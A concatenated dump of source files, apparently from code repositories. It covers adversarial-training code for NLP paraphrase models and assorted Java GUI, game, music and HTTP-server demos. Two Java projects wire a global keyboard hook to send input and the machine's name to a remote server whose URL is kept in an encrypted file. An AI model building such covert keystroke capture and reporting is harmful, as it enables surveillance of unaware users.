index = self.word_indices[PADDING]
itf = 0
else:
if not (token_sequence[i] in self.word_indices):
index = 0
elif self.config.embedding_replacing_rare_word_with_UNK:
index = self.word_indices[token_sequence[i]] if self.word_counter[token_sequence[i]] >= self.config.UNK_threshold else self.word_indices["<UNK>"]
else:
index = self.word_indices[token_sequence[i]]
example[sentence + '_index_sequence'][i] = index
example[sentence + '_inverse_term_frequency'][i] = 0
example[sentence + '_char_index'] = np.zeros((self.FIXED_PARAMETERS["seq_length"], self.config.char_in_word_size), dtype=np.int32)
for i in range(self.FIXED_PARAMETERS["seq_length"]):
if i >= len(token_sequence):
continue
else:
chars = [c for c in token_sequence[i]]
for j in range(self.config.char_in_word_size):
if j >= (len(chars)):
break
else:
if chars[j] in self.char_indices:
index = self.char_indices[chars[j]]
else:
index = 0
example[sentence + '_char_index'][i,j] = index
start_time = time.time()
minibatch_premise_vectors, minibatch_hypothesis_vectors, minibatch_labels, minibatch_genres, \
minibatch_pre_pos, minibatch_hyp_pos, pairIDs, premise_char_vectors, hypothesis_char_vectors, \
premise_exact_match, hypothesis_exact_match, premise_inverse_term_frequency, \
hypothesis_inverse_term_frequency, premise_antonym_feature, hypothesis_antonym_feature, premise_NER_feature, \
hypothesis_NER_feature = \
self.get_minibatch(batch, is_train)
input_feed = {
self.model.premise_x: minibatch_premise_vectors,
self.model.hypothesis_x: minibatch_hypothesis_vectors,
self.model.y: minibatch_labels,
self.model.keep_rate_ph: self.keep_rate if is_train else 1.0,
self.model.is_train: is_train,
self.model.premise_pos: minibatch_pre_pos,
self.model.hypothesis_pos: minibatch_hyp_pos,
self.model.premise_char:premise_char_vectors,
self.model.hypothesis_char:hypothesis_char_vectors,
self.model.premise_exact_match:premise_exact_match,
self.model.hypothesis_exact_match: hypothesis_exact_match,
self.model.premise_ner: premise_NER_feature,
self.model.hypothesis_ner: hypothesis_NER_feature
}
output_feed = [self.loss, self.accuracy, self.predictions, self.error]
if is_train:
output_feed.append(self.optimizer)
res = self.sess.run(output_feed, input_feed)
# print("inference time", time.time() - start_time)
return res
<file_sep>import os
import numpy as np
import sys, random, time, shutil, copy, nltk, json
from multiprocessing import Pool
from parser import Parser, update_arguments
from Logger import Logger
from utils import load_data, build_vocab, symbol2index, get_batches, save_json, \
load_paws_test, sample_data
from Generator import Generator
argv = sys.argv[1:]
parser = Parser().getParser()
args, _ = parser.parse_known_args(argv)
random.seed(args.seed)
np.random.seed(args.seed)
args = update_arguments(args)
if args.adv_train or args.adv_generate:
args.no_common_data = False
if not args.no_common_data:
data_train, data_valid, data_test, vocab_char, vocab_word = load_data(args)
if args.sample_data:
sample_data(args, data_test)
exit(0)
import tensorflow as tf
config = tf.ConfigProto()
config.gpu_options.allow_growth = True
sess = tf.Session(config=config)
with sess.as_default():
if args.target == 'bimpm':
from models.BiMPM.Model import BiMPM
target = BiMPM(sess, args, vocab_char, vocab_word)
elif args.target == 'diin':
from models.DIIN.Model import DIIN
target = DIIN(sess, args)
elif args.target == 'drcn':
from models.DRCN.Model import DRCN
target = DRCN(sess, args, vocab_char, vocab_word)
elif args.target == 'bert':
from models.BERT.Model import BERT
target = BERT(args, len(data_train))
else:
raise Exception('Unknown target model')
if args.no_common_data:
data_train, data_valid, data_test = target.data_train, target.data_valid, target.data_test
random.shuffle(data_valid)
random.shuffle(data_test)
valid_batches = get_batches(args, data_valid, args.batch_size)
test_batches = get_batches(args, data_test, args.batch_size)
print('Dataset sizes: %d/%d/%d' % (len(data_train), len(data_valid), len(data_test)))
summary_names = ['loss', 'accuracy', 'suc_pos', 'suc_neg']
summary_num_pre = 2
logger = Logger(sess, args, summary_names, 1)
with sess.as_default():
if args.pre_train:
while True:
random.shuffle(data_train)
train_batches = get_batches(args, data_train, args.batch_size)
for i, batch in enumerate(train_batches):
logger.next_step(target.step(batch, is_train=True)[:summary_num_pre])
if (i + 1) % args.fine_tune_steps == 0 or (i + 1) == len(train_batches):
logger.next_epoch()
if args.use_torch:
target.save(logger.epoch.eval())
for batch in valid_batches:
logger.add_valid(target.step(batch)[:summary_num_pre])
logger.save_valid(log=True)
for batch in test_batches:
logger.add_test(target.step(batch)[:summary_num_pre])
logger.save_test(log=True)
if args.adv_train or args.adv_generate:
vocab_word.build_candwords(data_train)
if args.adv_train or args.adv_generate:
generator = Generator(args, target, vocab_char, vocab_word, data_train)
with sess.as_default():
if args.adv_train:
print('Start adversarial training...')
pool_adv_pos, pool_adv_neg = [], []
while True:
random.shuffle(data_train)
train_batches = get_batches(args, data_train, args.batch_size)
suc_pos_all, suc_neg_all = [], []
for i, batch in enumerate(train_batches):
if i >= args.adv_steps_per_epoch: break
while len(pool_adv_pos) < args.adv_examples_per_step:
b, suc_pos = generator.generate_batch(label=1, verbose=True)
suc_pos_all.append(suc_pos)
pool_adv_pos += b
while len(pool_adv_neg) < args.adv_examples_per_step:
b, suc_neg = generator.generate_batch(label=0, verbose=True)
suc_neg_all.append(suc_neg)
pool_adv_neg += b
batch += pool_adv_pos[:args.adv_examples_per_step] + \
pool_adv_neg[:args.adv_examples_per_step]
pool_adv_pos = pool_adv_pos[args.adv_examples_per_step:]
pool_adv_neg = pool_adv_neg[args.adv_examples_per_step:]
logger.next_step(target.step(batch, is_train=True, attack=True)[:summary_num_pre])
if i % args.display_interval == 0:
print('Suc %.5f %.5f' % (np.mean(suc_pos_all), np.mean(suc_neg_all)))
logger.next_epoch()
if args.use_torch:
target.save(logger.epoch.eval())
for batch in test_batches:
logger.add_test(target.step(batch, attack=True)[:summary_num_pre] + \
[np.mean(suc_pos_all), np.mean(suc_neg_all)])
logger.save_test(log=True)
if args.adv_generate:
print('Evaluating...')
if args.use_dev:
generator.evaluate(data_valid, args.num_adv, verbose=True)
else:
generator.evaluate(data_test, args.num_adv, verbose=True)
exit(0)
<file_sep>class InputExample(object):
def __init__(self, guid, text_a, text_b=None, label=None):
self.guid = guid
self.text_a = text_a
self.text_b = text_b
self.label = label
class InputFeatures(object):
def __init__(self, input_ids, input_mask, segment_ids, label_id):
self.input_ids = input_ids
self.input_mask = input_mask
self.segment_ids = segment_ids
self.label_id = label_id
def _truncate_seq_pair(tokens_a, tokens_b, max_length):
"""Truncates a sequence pair in place to the maximum length."""
while True:
total_length = len(tokens_a) + len(tokens_b)
if total_length <= max_length:
break
if len(tokens_a) > len(tokens_b):
tokens_a.pop()
else:
tokens_b.pop()
def convert_examples_to_features(examples, label_list, max_seq_length, tokenizer):
"""Loads a data file into a list of `InputBatch`s."""
examples = [
InputExample(0, " ".join(example["sent_a"]), " ".join(example["sent_b"]), example["label"]) \
for example in examples
]
label_map = {label : i for i, label in enumerate(label_list)}
features = []
for (ex_index, example) in enumerate(examples):
tokens_a = tokenizer.tokenize(example.text_a)
tokens_b = None
if example.text_b:
tokens_b = tokenizer.tokenize(example.text_b)
_truncate_seq_pair(tokens_a, tokens_b, max_seq_length - 3)
else:
if len(tokens_a) > max_seq_length - 2:
tokens_a = tokens_a[:(max_seq_length - 2)]
tokens = ["[CLS]"] + tokens_a + ["[SEP]"]
segment_ids = [0] * len(tokens)
if tokens_b:
tokens += tokens_b + ["[SEP]"]
segment_ids += [1] * (len(tokens_b) + 1)
input_ids = tokenizer.convert_tokens_to_ids(tokens)
input_mask = [1] * len(input_ids)
padding = [0] * (max_seq_length - len(input_ids))
input_ids += padding
input_mask += padding
segment_ids += padding
assert len(input_ids) == max_seq_length
assert len(input_mask) == max_seq_length
assert len(segment_ids) == max_seq_length
label_id = label_map[example.label]
features.append(
InputFeatures(input_ids=input_ids,
input_mask=input_mask,
segment_ids=segment_ids,
label_id=label_id))
return features | d4d713d44bf35e3748483ebe56e9939b68e2e45a | [
"Markdown",
"Python",
"Text"
] | 18 | Python | shizhouxing/AdvParaphraseIdentification | cf0a2e43494a23c68237ab6dfe06972477a879f9 | 4dd3b2174e65fc10bec507d6f8bdd8002d8513bb |
refs/heads/master | <repo_name>recaifurkan/My-Java-Repos<file_sep>/JavaSwingTwoWayBinding/src/main/java/com/byrfb/lang/types/BindiableShort.java
package com.byrfb.lang.types;
public class BindiableShort extends AbstractBindiableData<Short> {
}
<file_sep>/JNativeKeyboardAndMouseInputsSendNet/src/main/Main.java
package main;
import ComputerNameSettings.ComputerNameSolver;
import keyboard.Keyboard;
import messages.MessageSender;
/*
*
* kardeş bu program buradan başlar başta net kısmını oluşturur net kısmında get ve post
* senderi oluşturur oradan da oluşturulan senderdan url almak için decrypt eder sayfayı
* decrypt edilen url yi alıp ona get veya posta göre atım yapar
*
*
*/
public class Main {
public static void main(String[] args) throws InterruptedException {
// internetle olan bağlantıları ayarlar
ComputerNameSolver solver = new ComputerNameSolver();
Keyboard key = new Keyboard();
key.start();
MessageSender sender = new MessageSender();
}
}
<file_sep>/JMusicDenemeler/myDenemes/com/byrfb/jmusic/FuzzyTest.java
package com.byrfb.jmusic;
import jm.music.data.*;
import jm.music.tools.fuzzy.*;
import jm.JMC;
import jm.util.*;
public class FuzzyTest implements JMC {
FuzzyNumber pianissimo, piano, mezzoPiano, mezzoForte, forte, fortissimo;
FuzzySet dynamicSet;
public static void main(String[] args) {
new FuzzyTest();
}
public FuzzyTest() {
dynamicSet = new FuzzySet();
pianissimo = new FuzzyNumber(0, 0, 40);
dynamicSet.add(pianissimo);
piano = new FuzzyNumber(20, 0, 55);
dynamicSet.add(piano);
mezzoPiano = new FuzzyNumber(35, 20, 65);
dynamicSet.add(mezzoPiano);
mezzoForte = new FuzzyNumber(50, 30, 95);
dynamicSet.add(mezzoForte);
forte = new FuzzyNumber(80, 50, 127);
dynamicSet.add(forte);
fortissimo = new FuzzyNumber(127, 100, 127);
dynamicSet.add(fortissimo);
// test
for(int i=0; i<127; i++) {
for(int j=0; j<i; j++) {
System.out.print(" ");
}
System.out.println(".");
int out = (int)dynamicSet.getOutput(i);
for(int j=0; j<out; j++) {
System.out.print(" ");
}
System.out.println("+");
}
}
}<file_sep>/JniTests-2/src/main/java/com/rfbsoft/natives/AppSound/Main.java
package com.rfbsoft.natives.AppSound;
import java.io.File;
public class Main {
public native int topla(int a , int b);
public native int carp(int a , int b);
public static void main(String[] args) {
File file = new File(".");
System.load(file.getAbsolutePath() + "/native/Main/jni/build/main.dll");
Main sound = new Main();
System.out.println(String.format("Toplam %d Çarpım %d",sound.topla(20,20),sound.carp(20,4)));
}
}
<file_sep>/MesafeSorter/src/com/byrfb/main/Main.java
package com.byrfb.main;
import java.util.ArrayList;
import java.util.List;
import com.byrfb.objects.Nokta;
public class Main {
public static void main(String[] args) {
/*
* ana main sınıfımız bu
* burada random veriler belilenip onların en yakın nokta sıralaması yapılıoyr
*
*/
List<Nokta> unsortedList = new ArrayList<>();
for(int i = 0 ; i < 1000 ; i++) {
double x = Math.random() * 100;
double y = Math.random() * 100;
unsortedList.add(new Nokta(x, y));
}
NoktaMesafeSorter sorter = new NoktaMesafeSorter(unsortedList);
sorter.sort();
// unsortedList.sort(null);
for (Nokta n : sorter.getSortedList()) {
System.out.println(n);
}
}
}
<file_sep>/Libgdx with video Tests/html3DTest/desktop/src/com/byrfb/game/desktop/LibgdxCanvasLauncher.java
package com.byrfb.game.desktop;
import java.awt.EventQueue;
import javax.swing.JFrame;
import javax.swing.JPanel;
import com.badlogic.gdx.backends.lwjgl.LwjglCanvas;
import com.bulletphysics.test.bullet3dcontacttests.BulletTest;
import java.awt.Canvas;
import java.awt.Color;
import javax.swing.JButton;
import java.awt.event.MouseAdapter;
import java.awt.event.MouseEvent;
import java.awt.event.ActionListener;
import java.awt.event.ActionEvent;
public class LibgdxCanvasLauncher extends JFrame {
private JPanel contentPane;
/**
* Launch the application.
*/
public static void main(String[] args) {
EventQueue.invokeLater(new Runnable() {
public void run() {
try {
LibgdxCanvasLauncher frame = new LibgdxCanvasLauncher();
frame.setVisible(true);
} catch (Exception e) {
e.printStackTrace();
}
}
});
}
/**
* Create the frame.
*/
public LibgdxCanvasLauncher() {
setDefaultCloseOperation(JFrame.DISPOSE_ON_CLOSE);
setBounds(100, 100, 1295, 714);
contentPane = new JPanel();
// contentPane.setBorder(new EmptyBorder(5, 5, 5, 5));
setContentPane(contentPane);
final BulletTest test = new BulletTest();
LwjglCanvas gameCanvas = new LwjglCanvas(test);
contentPane.setLayout(null);
Canvas canvas = gameCanvas.getCanvas();
// canvas= new Canvas();
canvas.setLocation(10, 10);
canvas.setSize(527, 636);
contentPane.add(canvas);
final JButton btnHover = new JButton("Hover");
btnHover.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent arg0) {
for (int i = 0; i < 100; i++) {
test.spawn();
}
}
});
btnHover.addMouseListener(new MouseAdapter() {
Color color;
@Override
public void mouseEntered(MouseEvent arg0) {
color = btnHover.getBackground();
btnHover.setBackground(Color.BLACK);
}
@Override
public void mouseExited(MouseEvent e) {
// TODO Auto-generated method stub
btnHover.setBackground(color);
}
});
btnHover.setBounds(895, 59, 97, 25);
contentPane.add(btnHover);
}
}
<file_sep>/JavaFxInSwing/src/com/byrfb/javaFx/FxPanel.java
/*
*
* bu sınıf swing içinde java fx eklemlerini kullanabilmemize yarıyor
* buradya artık istediğin java fx elemanıı ekleyebilirisns
* bir nevi java fx teki start metodu gibi düşünebilrsin çok da güzel çalışmakta babba
*/
package com.byrfb.javaFx;
import javafx.embed.swing.JFXPanel;
import javafx.fxml.FXMLLoader;
import javafx.scene.Parent;
import javafx.scene.Scene;
import java.io.IOException;
public class FxPanel extends JFXPanel {
public FxPanel() {
}
public void init() {
FXMLLoader loader = new FXMLLoader(getClass().getResource("mainFxml/Main.fxml"));
Parent parent = null;
try {
parent = (Parent) loader.load();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
// Group root = new Group();
// Rectangle rect = new Rectangle(0, 0, this.getWidth(), this.getHeight());
// rect.setFill(Color.RED);
// root.getChildren().add(rect);
Scene scene = new Scene(parent,this.getWidth(),this.getHeight());
// scene.setOnMouseClicked(new EventHandler<MouseEvent>() {
//
// @Override
// public void handle(MouseEvent event) {
// Game.x += 10;
//
// }
// });
// System.out.println("Scene setting");
this.setScene(scene);
}
}
<file_sep>/OyleOynamacalar JNative Hook ile/src/Main.java
import org.jnativehook.GlobalScreen;
import org.jnativehook.NativeHookException;
import org.jnativehook.keyboard.NativeKeyEvent;
import org.jnativehook.keyboard.NativeKeyListener;
import org.jnativehook.mouse.NativeMouseEvent;
import org.jnativehook.mouse.NativeMouseInputListener;
import java.awt.*;
import java.util.logging.Level;
import java.util.logging.Logger;
public class Main {
static long lastTime = System.currentTimeMillis();
static long donguSayisi = 0;
static long time = 0;
static long deltaTime = 0;
static final int HEDEFFPS = 2;
static boolean fareOynasin = false;
static double x = 0;
static double y = 0;
public static void main(String[] args) throws AWTException {
for (String text : args) {
System.out.println(text);
}
Robot robot = new Robot();
double i = 0;
int yariCap = 50;
while (true) {
donguBasi();
i++;
if (fareOynasin) {
robot.mouseMove((int) (x + Math.cos(i) * yariCap), (int) (y + Math.sin(i) * yariCap));
// robot.mouseMove((int)x,(int)y);
}
donguSonu();
}
}
private static void jnativeHook() {
try {
GlobalScreen.registerNativeHook();
} catch (NativeHookException ex) {
System.err.println("There was a problem registering the native hook.");
System.err.println(ex.getMessage());
System.exit(1);
}
// Get the logger for "org.jnativehook" and set the level to off.
Logger logger = Logger.getLogger(GlobalScreen.class.getPackage().getName());
logger.setLevel(Level.OFF);
logger.setUseParentHandlers(false);
// Don't forget to disable the parent handlers.
NativeKeyListener list = new NativeKeyListener() {
@Override
public void nativeKeyTyped(NativeKeyEvent nativeKeyEvent) {
}
@Override
public void nativeKeyPressed(NativeKeyEvent e) {
System.out.println("basıldı - " + NativeKeyEvent.getKeyText(e.getKeyCode()));
fareOynasin = !fareOynasin;
if ("Escape".equals(NativeKeyEvent.getKeyText(e.getKeyCode()))) {
System.exit(15);
}
}
@Override
public void nativeKeyReleased(NativeKeyEvent nativeKeyEvent) {
}
};
GlobalScreen.addNativeKeyListener(list);
NativeMouseInputListener mouseList = new NativeMouseInputListener() {
@Override
public void nativeMouseClicked(NativeMouseEvent nativeMouseEvent) {
x = nativeMouseEvent.getX();
y = nativeMouseEvent.getY();
System.out.println(x + "-" + y);
}
@Override
public void nativeMousePressed(NativeMouseEvent nativeMouseEvent) {
}
@Override
public void nativeMouseReleased(NativeMouseEvent nativeMouseEvent) {
}
@Override
public void nativeMouseMoved(NativeMouseEvent nativeMouseEvent) {
}
@Override
public void nativeMouseDragged(NativeMouseEvent nativeMouseEvent) {
}
};
GlobalScreen.addNativeMouseListener(mouseList);
}
private static void donguSonu() {
deltaTime = System.currentTimeMillis() - time;
long delay = (1000 / HEDEFFPS) - (System.currentTimeMillis() - time);
if (delay > 0) {
try {
Thread.sleep(delay);
} catch (InterruptedException e) {
e.printStackTrace();
}
}
}
private static void donguBasi() {
time = System.currentTimeMillis();
donguSayisi++;
if (time - lastTime > 1000) {
lastTime = time; // we're too far behind, catch up
donguSayisi = 0;
saniyedeBirYapilcaklar();
}
}
private static void saniyedeBirYapilcaklar() {
}
}
<file_sep>/JavaFxInSwing/src/com/byrfb/lwjgl/DisplayManager.java
/**
* bu sınıfla display için gerekli ayarlar yapılıp render işlemleri falan ayarlnıypr
* fps delta time gibi bilgiler buradan alınabilir
*
*
*/
package com.byrfb.lwjgl;
import com.byrfb.lwjgl.interfaces.IGame;
import org.lwjgl.LWJGLException;
import org.lwjgl.Sys;
import org.lwjgl.input.Keyboard;
import org.lwjgl.input.Mouse;
import org.lwjgl.opengl.Display;
import org.lwjgl.opengl.DisplayMode;
import java.awt.*;
public class DisplayManager {
Canvas canvas;
IGame game;
/**
* time at last frame
*/
private long lastFrame;
/**
* frames per second
*/
private int fpsCounter;
private int fps;
/**
* last fps time
*/
private long lastFPS;
/**
* delta time
*/
private int deltaTime;
public DisplayManager(Canvas canvas, IGame game) {
this.canvas = canvas;
this.game = game;
try {
setupAndRun();
} catch (LWJGLException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
public DisplayManager(IGame game) {
try {
setupAndRun();
} catch (LWJGLException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
public int getFps() {
return fpsCounter;
}
public void setDeltaTime(int delta) {
this.deltaTime = delta;
}
public void setupAndRun() throws LWJGLException {
this.init();
this.loop();
this.destroy();
}
public void init() throws LWJGLException {
if (canvas != null)
Display.setParent(canvas);
Display.setVSyncEnabled(true);
Display.setDisplayMode(new DisplayMode(canvas.getWidth(), canvas.getHeight()));
System.out.println(Display.getWidth());
Display.create();
game.create();
}
public void loop() {
while (!Display.isCloseRequested()) {
getDelta();
game.update();
game.render();
pollInput();
Display.update();
updateFPS(); // update FPS Counter
Display.sync(60);
// System.out.println(fps);
}
}
/*
*
*
* allatki metotta mouse sadece open gl pencerisi için çalışıyor ancak keyboard bütün uyguama için kullanılabilmekte
*/
public void pollInput() {
if (Mouse.isButtonDown(0)) {
int x = Mouse.getX();
int y = Mouse.getY();
System.out.println("MOUSE DOWN @ X: " + x + " Y: " + y);
}
if (Keyboard.isKeyDown(Keyboard.KEY_SPACE)) {
System.out.println("SPACE KEY IS DOWN");
}
while (Keyboard.next()) {
if (Keyboard.getEventKeyState()) {
if (Keyboard.getEventKey() == Keyboard.KEY_A) {
System.out.println("A Key Pressed");
}
if (Keyboard.getEventKey() == Keyboard.KEY_S) {
System.out.println("S Key Pressed");
}
if (Keyboard.getEventKey() == Keyboard.KEY_D) {
System.out.println("D Key Pressed");
}
} else {
if (Keyboard.getEventKey() == Keyboard.KEY_A) {
System.out.println("A Key Released");
}
if (Keyboard.getEventKey() == Keyboard.KEY_S) {
System.out.println("S Key Released");
}
if (Keyboard.getEventKey() == Keyboard.KEY_D) {
System.out.println("D Key Released");
}
}
}
}
public void destroy() {
Display.destroy();
game.destroy();
}
/**
* Calculate how many milliseconds have passed since last frame.
*
* @return milliseconds passed since last frame
*/
public void getDelta() {
long time = getTime();
deltaTime = (int) (time - lastFrame);
lastFrame = time;
}
/**
* Get the accurate system time
*
* @return The system time in milliseconds
*/
public long getTime() {
return (Sys.getTime() * 1000) / Sys.getTimerResolution();
}
/**
* Calculate the FPS and set it in the title bar
*/
public void updateFPS() {
long time = getTime();
if (time - lastFPS > 1000) {
fps = fpsCounter;
Display.setTitle("FPS: " + fpsCounter);
// System.out.println("FPS: " + fps);
fpsCounter = 0;
lastFPS = time;
}
fpsCounter++;
}
}
<file_sep>/HerokuTcpTest/src/main/java/com/byrfb/output/Output.java
package com.byrfb.output;
import java.io.OutputStream;
import java.io.PrintWriter;
public class Output {
PrintWriter out;
public Output(OutputStream out) {
this.out = new PrintWriter(out, true);
}
public void sendResponse(String sendingText) {
out.write("HTTP/1.1 " + "200 OK");
out.write("\r\n");
out.write("\r\n");
out.write(sendingText);
out.write("\r\n");
out.close();
}
public void sendOk(){
out.println("HTTP/1.1 " + "200 OK\r\n");
}
public void sendRequest() {
out.println(
"GET / HTTP/1.1\r\n" +
"Host: " +
"intense-tor-33207.herokuapp.com" +
"\r\n");
}
public void sendText(String text) {
out.println(text );
}
public void close() {
out.close();
}
}
<file_sep>/SimpleHttpServer/src/main/java/request/HttpRequest.java
package request;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.util.HashMap;
import java.util.Map;
import java.util.StringTokenizer;
import main.Main;
import request.GetRequest;
import request.PostRequest;
import request.Request;
import response.HttpResponse;
public class HttpRequest {
StringBuilder requestText = new StringBuilder();
Map<String, Object> headerParameters = new HashMap<String, Object>();
Request request;
String requestPath;
HttpResponse response;
InputStreamReader isReader;
BufferedReader br;
public HttpRequest(InputStream connection, HttpResponse response) throws IOException {
this.response = response;
isReader = new InputStreamReader(connection);
br = new BufferedReader(isReader);
// alttakiyle en ba�ta gelenin methodu i�in okuma yap�l�yor
String methodLine = br.readLine();
readFromComing();
StringTokenizer parse = new StringTokenizer(methodLine);
String method = parse.nextToken().toUpperCase(); // we get the HTTP method of the client
requestPath = parse.nextToken().toLowerCase();
String standart = parse.nextToken();
// bi daha gelen b�t�n verilerin okunmas� yap�l�yor
// metoun se�imi yap�l�yor
chooseMethod(method);
}
/*
*
* gelen ba�lant�n�n headerini okur return olarak da gelen ilk sat�r� yani
* methodun falan yazd��� k�sm� d�nd�r�r
*/
private void readFromComing() throws IOException {
// code to read and print headers
String headerLine = null;
while ((headerLine = br.readLine()) != null && headerLine.length() != 0) {
requestText.append(headerLine);
addHeader(headerLine);
System.out.println(headerLine);
}
}
/*
*
*
* gelen headirleri ekler i�te
*/
private void addHeader(String headerLine) {
String headerParameters[] = headerLine.split(":", 2);
this.headerParameters.put(headerParameters[0], headerParameters[1]);
}
/*
* gelen ba�lant�n�n t�r� ne ona g�re i�lem yapar
*
*
*/
private void chooseMethod(String method) throws IOException {
// url yi ay�rmak i�in kullan�l�yor get i�in parametreler url de
String parameters = parseUrl();
switch (method) {
case "GET":
request = new GetRequest(parameters);
// sendParameters();
break;
case "POST":
StringBuilder postParameters = new StringBuilder();
while (br.ready()) {
postParameters.append((char) br.read());
}
parameters = postParameters.toString();
request = new PostRequest(parameters);
// sendParameters();
break;
default:
if (Main.debug) {
System.out.println("Desteklenmeyen Request Type - " + method);
}
response.methodNotAllowed(method);
break;
}
}
// url yi ay�rmak i�in kullan�l�yor get i�in parametreler url de
private String parseUrl() {
String[] requestWithGetParameters = requestPath.split("\\?", 2);
requestPath = requestWithGetParameters[0];
if (requestWithGetParameters.length > 1) {
return requestWithGetParameters[1];
}
return "";
}
/*
* debug i�in parametreleri g�ndermeye yar�yor
*
*/
private void sendParameters() {
if (Main.debug) {
StringBuilder build = new StringBuilder();
for (Map.Entry<String, Object> param : getParameters().entrySet()) {
build.append(param.getKey());
build.append("-");
build.append(param.getValue());
}
response.sendText(build.toString());
}
}
public Map<String, Object> getHeaderParameters() {
return headerParameters;
}
public void setHeaderParameters(Map<String, Object> headerParameters) {
this.headerParameters = headerParameters;
}
public StringBuilder getRequestText() {
return requestText;
}
public Map<String, Object> getParameters() {
return request.parameters;
}
public String getRequestPath() {
return requestPath;
}
public void setRequestPath(String requestPath) {
this.requestPath = requestPath;
}
public void closeConnections() throws IOException {
isReader.close();
br.close();
if (Main.debug) {
System.out.println("Closing request connections");
}
}
public String getParameter(String key) {
Object sonuc = this.request.parameters.get(key);
if(sonuc != null) {
return (String) sonuc;
}
return "-*-";
}
}
<file_sep>/JavaFxInSwing/src/com/byrfb/javaFx/mainFxml/MainController.java
/**
* bu sınıf controller olarak kullanılıyor
* fxml de bulunan componentler buradan olaya kontrol edilebiliypr çok gzel bir iekilde çalışıyor
*
*/
package com.byrfb.javaFx.mainFxml;
import com.byrfb.lwjgl.Game;
import javafx.event.ActionEvent;
import javafx.fxml.FXML;
import javafx.scene.control.Button;
public class MainController {
@FXML
private Button btnClickable;
@FXML
void onClick(ActionEvent event) {
// System.out.println("click");
Game.x = Game.x + 5;
System.out.println("Clicked");
}
}
<file_sep>/HerokuJavaServerWithGradle/settings.gradle
rootProject.name = 'HerokuJavaServe'
<file_sep>/JNativeKeyboardAndMouseInputsSendNet/src/security/EncryptedFileReader.java
package security;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.net.URISyntaxException;
import java.util.Scanner;
public class EncryptedFileReader {
private String dosyayiOku(String path) throws FileNotFoundException, URISyntaxException {
File urlDosyasi = new File(path);
if (!urlDosyasi.exists()) {
System.out.println("dosyanın yanındaki yok o yüzden class yanındaki alınıyor");
urlDosyasi = new File(getClass().getResource(path).getFile());
}
StringBuilder urlBuilder = new StringBuilder();
FileInputStream is = new FileInputStream(urlDosyasi);
Scanner sc = new Scanner(is);
while (sc.hasNext()) {
urlBuilder.append(sc.next());
}
try {
sc.close();
is.close();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
return urlBuilder.toString();
}
public String decryptFileContent(String path) {
Encryption encrypt = new Encryption();
String decrypted = null;
try {
decrypted = encrypt.decrypt(dosyayiOku(path));
} catch (FileNotFoundException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (Exception e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
return decrypted;
}
}
<file_sep>/SocketIoWithJHook/src/com/byrfb/connection/Connection.java
package com.byrfb.connection;
import java.net.URISyntaxException;
import org.json.JSONException;
import org.json.JSONObject;
import com.byrfb.ComputerNameSettings.ComputerNameSolver;
import com.byrfb.main.Main;
import io.socket.client.IO;
import io.socket.client.Socket;
import io.socket.emitter.Emitter;
/*
* bu sınıfımız socket io daki işlemleri yamakta
* socket io nun hazırlanması bağlantıların gelecekleri gideceklerin ayarlamalarının yapılması yapılmakta
*
*
*/
public class Connection {
static Socket socket;
public Connection() {
try {
socket = IO.socket(Main.url);
} catch (URISyntaxException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
socket.connect();
socket.on(Socket.EVENT_CONNECT, new Emitter.Listener() {
@Override
public void call(Object... args) {
JSONObject object = new JSONObject();
try {
object.put("client", "program");
object.put("computerName", ComputerNameSolver.computerName);
} catch (JSONException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
socket.emit("connected", object);
socket.emit("foo", "hi");
System.out.println("connected");
}
}).on(Socket.EVENT_DISCONNECT, new Emitter.Listener() {
@Override
public void call(Object... args) {
System.out.println("disconnect");
}
});
}
public static void send(String text) {
socket.emit(Main.sendEvent, text);
}
}
<file_sep>/Libgdx with video Tests/html3DTest/desktop/src/com/byrfb/game/desktop/ManifestCreator.java
package com.byrfb.game.desktop;
import java.io.File;
public class ManifestCreator {
public static void main(String[] args) {
String libFolder = "libs/";
File file = new File("F:\\Libraries\\Java\\libgdx\\html3DTest\\out\\artifacts\\desktop_main_jar");
File[] files = file.listFiles();
StringBuilder builde = new StringBuilder();
for(File fil : files){
if(fil.isFile()){
builde.append(libFolder + fil.getName() + " ");
}
}
System.out.println(builde.toString());
}
}
<file_sep>/Libgdx with video Tests/html3DTest/core/src/com/byrfb/libgdxgui/screens/MainScreen.java
package com.byrfb.libgdxgui.screens;
import com.badlogic.gdx.Gdx;
import com.badlogic.gdx.ScreenAdapter;
import com.badlogic.gdx.graphics.Color;
import com.badlogic.gdx.graphics.GL20;
import com.badlogic.gdx.scenes.scene2d.Actor;
import com.badlogic.gdx.scenes.scene2d.InputEvent;
import com.badlogic.gdx.scenes.scene2d.InputListener;
import com.badlogic.gdx.scenes.scene2d.Stage;
import com.badlogic.gdx.scenes.scene2d.ui.Table;
import com.badlogic.gdx.scenes.scene2d.utils.ChangeListener;
import com.badlogic.gdx.scenes.scene2d.utils.ChangeListener.ChangeEvent;
import com.badlogic.gdx.utils.Align;
import com.badlogic.gdx.utils.Array;
import com.badlogic.gdx.utils.viewport.ScreenViewport;
import com.byrfb.debug.DebugPanel;
import com.kotcrab.vis.ui.VisUI;
import com.kotcrab.vis.ui.layout.HorizontalFlowGroup;
import com.kotcrab.vis.ui.widget.MenuBar;
import com.kotcrab.vis.ui.widget.VisCheckBox;
import com.kotcrab.vis.ui.widget.VisDialog;
import com.kotcrab.vis.ui.widget.VisLabel;
import com.kotcrab.vis.ui.widget.VisList;
import com.kotcrab.vis.ui.widget.VisScrollPane;
import com.kotcrab.vis.ui.widget.VisSlider;
import com.kotcrab.vis.ui.widget.VisTable;
import com.kotcrab.vis.ui.widget.VisTextArea;
import com.kotcrab.vis.ui.widget.VisTextButton;
import com.kotcrab.vis.ui.widget.VisTextField;
import com.kotcrab.vis.ui.widget.VisWindow;
public class MainScreen extends ScreenAdapter {
DebugPanel panel;
private Stage stage;
VisTable root;
@Override
public void show() {
super.show();
panel = new DebugPanel();
VisUI.load();
stage = new Stage(new ScreenViewport());
root = new VisTable(true);
root.setFillParent(true);
stage.addActor(root);
